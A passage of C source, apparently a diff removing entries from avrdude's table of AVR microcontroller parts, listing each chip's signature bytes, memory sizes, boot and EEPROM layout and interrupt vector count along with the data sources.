4, 0x0100, 0x0200, 3, 1, 26}, // avrdude, from ATtiny828 - {"ATtiny841", 37, F_AVR8, {0x1E, 0x93, 0x15}, 0, 0x02000, 0x010, 0, 0, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 30}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny861", 38, F_AVR8, {0x1E, 0x93, 0x0D}, 0, 0x02000, 0x040, 0, 0, 0, 0x0200, 4, 0x0060, 0x0200, 3, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny861A", 39, F_AVR8, {0x1E, 0x93, 0x0D}, 0, 0x02000, 0x040, 0, 0, 0, 0x0200, 4, 0x0060, 0x0200, 3, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny1634", 40, F_AVR8, {0x1E, 0x94, 0x12}, 0, 0x04000, 0x020, 0, 0, 0, 0x0100, 4, 0x0100, 0x0400, 3, 1, 28}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny1634R", 41, F_AVR8, {0x1E, 0x94, 0x12}, 0, 0x04000, 0x020, 0, 0, 0, 0x0100, 4, 0x0100, 0x0400, 3, 1, 28}, // avrdude, from ATtiny1634 - {"ATtiny2313", 42, F_AVR8, {0x1E, 0x91, 0x0A}, 0, 0x00800, 0x020, 0, 0, 0, 0x0080, 4, 0x0060, 0x0080, 3, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny2313A", 43, F_AVR8, {0x1E, 0x91, 0x0A}, 0, 0x00800, 0x020, 0, 0, 0, 0x0080, 4, 0x0060, 0x0080, 3, 1, 21}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny4313", 44, F_AVR8, {0x1E, 0x92, 0x0D}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0060, 0x0100, 3, 1, 21}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega8", 45, F_AVR8, {0x1E, 0x93, 0x07}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0060, 0x0400, 2, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega8A", 46, F_AVR8, {0x1E, 0x93, 0x07}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0060, 0x0400, 2, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega8HVA", 47, F_AVR8, {0x1E, 0x93, 0x10}, 0, 0x02000, 0x080, 0, 0, 0, 0x0100, 4, 0x0100, 0x0200, 1, 1, 21}, // atdf, avr-gcc 12.2.0 - {"ATmega8U2", 48, F_AVR8, {0x1E, 0x93, 0x89}, 0, 0x02000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 29}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega16", 49, F_AVR8, {0x1E, 0x94, 0x03}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0060, 0x0400, 2, 1, 21}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega16A", 50, F_AVR8, {0x1E, 0x94, 0x03}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0060, 0x0400, 2, 1, 21}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega16HVA", 51, F_AVR8, {0x1E, 0x94, 0x0C}, 0, 0x04000, 0x080, 0, 0, 0, 0x0100, 4, 0x0100, 0x0200, 1, 1, 21}, // atdf, avr-gcc 12.2.0 - {"ATmega16HVB", 52, F_AVR8, {0x1E, 0x94, 0x0D}, 0, 0x04000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0400, 2, 1, 29}, // atdf, avr-gcc 12.2.0 - {"ATmega16HVBrevB", 53, F_AVR8, {0x1E, 0x94, 0x0D}, 0, 0x04000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0400, 2, 1, 29}, // atdf, avr-gcc 12.2.0 - {"ATmega16M1", 54, F_AVR8, {0x1E, 0x94, 0x84}, 0, 0x04000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 31}, // atdf, avr-gcc 12.2.0 - {"ATmega16HVA2", 55, F_AVR8, {0x1E, 0x94, 0x0E}, 0, 0x04000, 0x080, -1, -1, -1, -1, -1, 0x0100, 0x0400, 2, 1, 22}, // avr-gcc 12.2.0 - {"ATmega16U2", 56, F_AVR8, {0x1E, 0x94, 0x89}, 0, 0x04000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 29}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega16U4", 57, F_AVR8, {0x1E, 0x94, 0x88}, 0, 0x04000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0500, 3, 1, 43}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega32", 58, F_AVR8, {0x1E, 0x95, 0x02}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0060, 0x0800, 2, 1, 21}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega32A", 59, F_AVR8, {0x1E, 0x95, 0x02}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0060, 0x0800, 2, 1, 21}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega32HVB", 60, F_AVR8, {0x1E, 0x95, 0x10}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 2, 1, 29}, // atdf, avr-gcc 12.2.0 - {"ATmega32HVBrevB", 61, F_AVR8, {0x1E, 0x95, 0x10}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 2, 1, 29}, // atdf, avr-gcc 12.2.0 - {"ATmega32C1", 62, F_AVR8, {0x1E, 0x95, 0x86}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 31}, // atdf, avr-gcc 12.2.0 - {"ATmega32M1", 63, F_AVR8, {0x1E, 0x95, 0x84}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega32U2", 64, F_AVR8, {0x1E, 0x95, 0x8A}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0400, 3, 1, 29}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega32U4", 65, F_AVR8, {0x1E, 0x95, 0x87}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0a00, 3, 1, 43}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega32U6", 66, F_AVR8, {0x1E, 0x95, 0x88}, 0, 0x08000, 0x080, 4, 0x0200, -1, -1, -1, 0x0100, 0x0a00, 3, 1, 38}, // avr-gcc 12.2.0, boot size (manual) - {"ATmega48", 67, F_AVR8, {0x1E, 0x92, 0x05}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0100, 0x0200, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega48A", 68, F_AVR8, {0x1E, 0x92, 0x05}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0100, 0x0200, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega48P", 69, F_AVR8, {0x1E, 0x92, 0x0A}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0100, 0x0200, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega48PA", 70, F_AVR8, {0x1E, 0x92, 0x0A}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0100, 0x0200, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega48PB", 71, F_AVR8, {0x1E, 0x92, 0x10}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0100, 0x0200, 3, 1, 27}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega64", 72, F_AVR8, {0x1E, 0x96, 0x02}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 35}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega64A", 73, F_AVR8, {0x1E, 0x96, 0x02}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 35}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega64HVE", 74, F_AVR8, {0x1E, 0x96, 0x10}, 0, 0x10000, 0x080, 4, 0x0400, -1, -1, -1, 0x0100, 0x1000, 2, 1, 25}, // avr-gcc 12.2.0, boot size (manual) - {"ATmega64C1", 75, F_AVR8, {0x1E, 0x96, 0x86}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 31}, // atdf, avr-gcc 12.2.0 - {"ATmega64M1", 76, F_AVR8, {0x1E, 0x96, 0x84}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega64HVE2", 77, F_AVR8, {0x1E, 0x96, 0x10}, 0, 0x10000, 0x080, 4, 0x0400, 0, 0x0400, 4, 0x0100, 0x1000, 2, 1, 25}, // atdf, avr-gcc 12.2.0 - {"ATmega64RFR2", 78, F_AVR8, {0x1E, 0xA6, 0x02}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0200, 0x2000, 3, 1, 77}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega88", 79, F_AVR8, {0x1E, 0x93, 0x0A}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega88A", 80, F_AVR8, {0x1E, 0x93, 0x0A}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega88P", 81, F_AVR8, {0x1E, 0x93, 0x0F}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega88PA", 82, F_AVR8, {0x1E, 0x93, 0x0F}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega88PB", 83, F_AVR8, {0x1E, 0x93, 0x16}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 27}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega103", 84, F_AVR8, {0x1E, 0x97, 0x01}, 0, 0x20000, 0x100, 0, 0, 0, 0x1000, 1, 0x0060, 0x0fa0, 1, 1, 24}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATmega128", 85, F_AVR8, {0x1E, 0x97, 0x02}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0100, 0x1000, 3, 1, 35}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega128A", 86, F_AVR8, {0x1E, 0x97, 0x02}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0100, 0x1000, 3, 1, 35}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega128RFA1", 87, F_AVR8, {0x1E, 0xA7, 0x01}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0200, 0x4000, 3, 1, 72}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega128RFR2", 88, F_AVR8, {0x1E, 0xA7, 0x02}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0200, 0x4000, 3, 1, 77}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega161", 89, F_AVR8, {0x1E, 0x94, 0x01}, 0, 0x04000, 0x080, 1, 0x0400, 0, 0x0200, 1, 0x0060, 0x0400, 1, 1, 21}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATmega162", 90, F_AVR8, {0x1E, 0x94, 0x04}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 28}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega163", 91, F_AVR8, {0x1E, 0x94, 0x02}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 1, 0x0060, 0x0400, 2, 1, 18}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATmega164A", 92, F_AVR8, {0x1E, 0x94, 0x0F}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega164P", 93, F_AVR8, {0x1E, 0x94, 0x0A}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega164PA", 94, F_AVR8, {0x1E, 0x94, 0x0A}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega165", 95, F_AVR8, {0x1E, 0x94, 0x10}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 22}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATmega165A", 96, F_AVR8, {0x1E, 0x94, 0x10}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega165P", 97, F_AVR8, {0x1E, 0x94, 0x07}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega165PA", 98, F_AVR8, {0x1E, 0x94, 0x07}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega168", 99, F_AVR8, {0x1E, 0x94, 0x06}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega168A", 100, F_AVR8, {0x1E, 0x94, 0x06}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega168P", 101, F_AVR8, {0x1E, 0x94, 0x0B}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega168PA", 102, F_AVR8, {0x1E, 0x94, 0x0B}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega168PB", 103, F_AVR8, {0x1E, 0x94, 0x15}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 27}, // atdf, avr-gcc 7.3.0, avrdude - {"ATmega169", 104, F_AVR8, {0x1E, 0x94, 0x05}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 23}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATmega169A", 105, F_AVR8, {0x1E, 0x94, 0x11}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega169P", 106, F_AVR8, {0x1E, 0x94, 0x05}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega169PA", 107, F_AVR8, {0x1E, 0x94, 0x05}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega256RFR2", 108, F_AVR8, {0x1E, 0xA8, 0x02}, 0, 0x40000, 0x100, 4, 0x0400, 0, 0x2000, 8, 0x0200, 0x8000, 3, 1, 77}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega323", 109, F_AVR8, {0x1E, 0x95, 0x01}, 0, 0x08000, 0x080, 4, 0x0200, -1, -1, -1, 0x0060, 0x0800, 2, 1, 21}, // avr-gcc 12.2.0, boot size (manual) - {"ATmega324A", 110, F_AVR8, {0x1E, 0x95, 0x15}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega324P", 111, F_AVR8, {0x1E, 0x95, 0x08}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega324PA", 112, F_AVR8, {0x1E, 0x95, 0x11}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega324PB", 113, F_AVR8, {0x1E, 0x95, 0x17}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 51}, // atdf, avrdude - {"ATmega325", 114, F_AVR8, {0x1E, 0x95, 0x05}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega325A", 115, F_AVR8, {0x1E, 0x95, 0x05}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega325P", 116, F_AVR8, {0x1E, 0x95, 0x0D}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega325PA", 117, F_AVR8, {0x1E, 0x95, 0x0D}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega328", 118, F_AVR8, {0x1E, 0x95, 0x14}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega328P", 119, F_AVR8, {0x1E, 0x95, 0x0F}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega328PB", 120, F_AVR8, {0x1E, 0x95, 0x16}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 45}, // atdf, avr-gcc 7.3.0, avrdude - {"ATmega329", 121, F_AVR8, {0x1E, 0x95, 0x03}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega329A", 122, F_AVR8, {0x1E, 0x95, 0x03}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega329P", 123, F_AVR8, {0x1E, 0x95, 0x0B}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega329PA", 124, F_AVR8, {0x1E, 0x95, 0x0B}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega406", 125, F_AVR8, {0x1E, 0x95, 0x07}, 0, 0x0a000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0800, 2, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega640", 126, F_AVR8, {0x1E, 0x96, 0x08}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0200, 0x2000, 3, 1, 57}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega644", 127, F_AVR8, {0x1E, 0x96, 0x09}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 28}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega644A", 128, F_AVR8, {0x1E, 0x96, 0x09}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega644P", 129, F_AVR8, {0x1E, 0x96, 0x0A}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega644PA", 130, F_AVR8, {0x1E, 0x96, 0x0A}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega644RFR2", 131, F_AVR8, {0x1E, 0xA6, 0x03}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0200, 0x2000, 3, 1, 77}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega645", 132, F_AVR8, {0x1E, 0x96, 0x05}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega645A", 133, F_AVR8, {0x1E, 0x96, 0x05}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega645P", 134, F_AVR8, {0x1E, 0x96, 0x0D}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega649", 135, F_AVR8, {0x1E, 0x96, 0x03}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega649A", 136, F_AVR8, {0x1E, 0x96, 0x03}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega649P", 137, F_AVR8, {0x1E, 0x96, 0x0B}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega1280", 138, F_AVR8, {0x1E, 0x97, 0x03}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0200, 0x2000, 3, 1, 57}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega1281", 139, F_AVR8, {0x1E, 0x97, 0x04}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0200, 0x2000, 3, 1, 57}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega1284", 140, F_AVR8, {0x1E, 0x97, 0x06}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0100, 0x4000, 3, 1, 35}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega1284P", 141, F_AVR8, {0x1E, 0x97, 0x05}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0100, 0x4000, 3, 1, 35}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega1284RFR2", 142, F_AVR8, {0x1E, 0xA7, 0x03}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0200, 0x4000, 3, 1, 77}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega2560", 143, F_AVR8, {0x1E, 0x98, 0x01}, 0, 0x40000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0200, 0x2000, 3, 1, 57}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega2561", 144, F_AVR8, {0x1E, 0x98, 0x02}, 0, 0x40000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0200, 0x2000, 3, 1, 57}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega2564RFR2", 145, F_AVR8, {0x1E, 0xA8, 0x03}, 0, 0x40000, 0x100, 4, 0x0400, 0, 0x2000, 8, 0x0200, 0x8000, 3, 1, 77}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3250", 146, F_AVR8, {0x1E, 0x95, 0x06}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3250A", 147, F_AVR8, {0x1E, 0x95, 0x06}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3250P", 148, F_AVR8, {0x1E, 0x95, 0x0E}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3250PA", 149, F_AVR8, {0x1E, 0x95, 0x0E}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3290", 150, F_AVR8, {0x1E, 0x95, 0x04}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3290A", 151, F_AVR8, {0x1E, 0x95, 0x04}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3290P", 152, F_AVR8, {0x1E, 0x95, 0x0C}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3290PA", 153, F_AVR8, {0x1E, 0x95, 0x0C}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega6450", 154, F_AVR8, {0x1E, 0x96, 0x06}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega6450A", 155, F_AVR8, {0x1E, 0x96, 0x06}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega6450P", 156, F_AVR8, {0x1E, 0x96, 0x0E}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega6490", 157, F_AVR8, {0x1E, 0x96, 0x04}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega6490A", 158, F_AVR8, {0x1E, 0x96, 0x04}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega6490P", 159, F_AVR8, {0x1E, 0x96, 0x0C}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega8515", 160, F_AVR8, {0x1E, 0x93, 0x06}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0060, 0x0200, 2, 1, 17}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega8535", 161, F_AVR8, {0x1E, 0x93, 0x08}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0060, 0x0200, 2, 1, 21}, // atdf, avr-gcc 12.2.0, avrdude - {"AT43USB320", 162, F_AVR8, {0xff, -1, -1}, 0, 0x10000, -1, -1, -1, -1, -1, -1, 0x0060, 0x0200, -1, -1, 0}, // avr-gcc 12.2.0 - {"AT43USB355", 163, F_AVR8, {0xff, -1, -1}, 0, 0x06000, -1, -1, -1, -1, -1, -1, 0x0060, 0x0400, -1, -1, 0}, // avr-gcc 12.2.0 - {"AT76C711", 164, F_AVR8, {0xff, -1, -1}, 0, 0x04000, -1, -1, -1, -1, -1, -1, 0x0060, 0x07a0, -1, -1, 0}, // avr-gcc 12.2.0 - {"AT86RF401", 165, F_AVR8, {0x1E, 0x91, 0x81}, 0, 0x00800, -1, -1, -1, -1, -1, -1, 0x0060, 0x0080, 0, 1, 3}, // avr-gcc 12.2.0 - {"AT90PWM1", 166, F_AVR8, {0x1E, 0x93, 0x83}, 0, 0x02000, 0x040, 4, 0x0100, 0, 